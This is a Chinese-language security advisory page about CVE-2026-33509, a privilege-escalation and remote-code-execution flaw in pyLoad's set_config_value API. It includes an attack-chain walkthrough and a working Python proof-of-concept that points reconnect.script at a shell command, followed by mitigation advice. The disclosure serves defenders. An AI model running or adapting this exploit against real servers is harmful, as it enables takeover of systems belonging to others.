IPBUF安全漏洞报告
English
CVE-2026-33509 CVSS 7.5 高危

pyLoad 远程代码执行漏洞 (CVE-2026-33509)

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33509
漏洞类型
远程代码执行
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
pyLoad

相关标签

RCEpyLoad权限绕过代码注入CVE-2026-33509

漏洞概述

pyLoad是一个免费开源的Python下载管理器。在0.4.0至0.5.0b3.dev97之前的版本中,存在一个严重的权限提升与远程代码执行漏洞。该漏洞源于`set_config_value()` API端点的设计缺陷,允许仅拥有SETTINGS权限的非管理员用户无限制地修改任意配置选项。攻击者可利用此漏洞修改`reconnect.script`配置项,该配置项直接被传递给`subprocess.run()`执行。通过将其设置为系统中的任意可执行文件路径,攻击者即可在服务器端执行任意恶意代码,完全控制受影响系统。

技术细节

该漏洞的核心在于pyLoad的API权限校验机制存在逻辑缺陷。在`set_config_value()`函数中,仅对`general.storage_folder`进行了硬编码的安全检查,而对其他关键配置项(如`reconnect.script`)未实施任何白名单或路径限制。当线程管理器执行重连逻辑时,会直接读取`reconnect.script`配置的路径,并将其作为参数传递给Python的`subprocess.run()`函数进行系统调用。攻击者首先需要获取一个具有SETTINGS权限的低权限账户。随后,通过向API端点发送精心构造的请求,将`reconnect.script`的值修改为恶意脚本路径(例如`/tmp/exploit.sh`或系统命令)。由于系统未对路径进行合法性校验,修改后的配置会被立即保存。当触发重连机制或等待自动任务执行时,服务器将以运行pyLoad的权限执行指定的恶意程序,从而实现从低权限用户到系统命令执行的跨越,导致服务器被完全接管。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者注册或获取一个具有SETTINGS权限的非管理员账户。
STEP 2
步骤2:构造恶意请求
攻击者利用`set_config_value` API,将`reconnect.script`参数的值修改为系统中的恶意可执行文件路径(如`/bin/bash`或恶意脚本)。
STEP 3
步骤3:触发配置加载
当pyLoad的线程管理器执行重连逻辑时,会读取被篡改的配置。
STEP 4
步骤4:执行任意代码
系统调用`subprocess.run()`执行攻击者指定的脚本,导致远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "http://localhost:8000" API_ENDPOINT = f"{TARGET_URL}/api/set_config_value" USERNAME = "low_priv_user" # User with SETTINGS permission PASSWORD = "password" def exploit(): session = requests.Session() # 1. Authenticate to the application login_payload = { "username": USERNAME, "password": PASSWORD } login_resp = session.post(f"{TARGET_URL}/api/login", json=login_payload) if login_resp.status_code != 200: print("[!] Login failed") return print("[+] Login successful") # 2. Exploit: Modify 'reconnect.script' to execute arbitrary command # In this case, we create a simple file to prove RCE malicious_payload = { "key": "reconnect.script", "value": "/bin/touch /tmp/pwned_by_pyload" } print(f"[*] Sending payload to change config: {malicious_payload}") exploit_resp = session.post(API_ENDPOINT, json=malicious_payload) if exploit_resp.status_code == 200: print("[+] Payload sent successfully!") print("[+] Wait for the reconnection thread to trigger or trigger it manually to execute code.") else: print(f"[!] Exploit failed with status code: {exploit_resp.status_code}") print(exploit_resp.text) if __name__ == "__main__": exploit()

影响范围

pyLoad 0.4.0
pyLoad 0.5.0b3.dev97 之前的所有版本

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用pyLoad服务或撤销所有非管理员用户的SETTINGS权限。同时,应检查服务器系统日志和当前配置文件中`reconnect.script`的值,确保其未被指向可疑的可执行文件路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表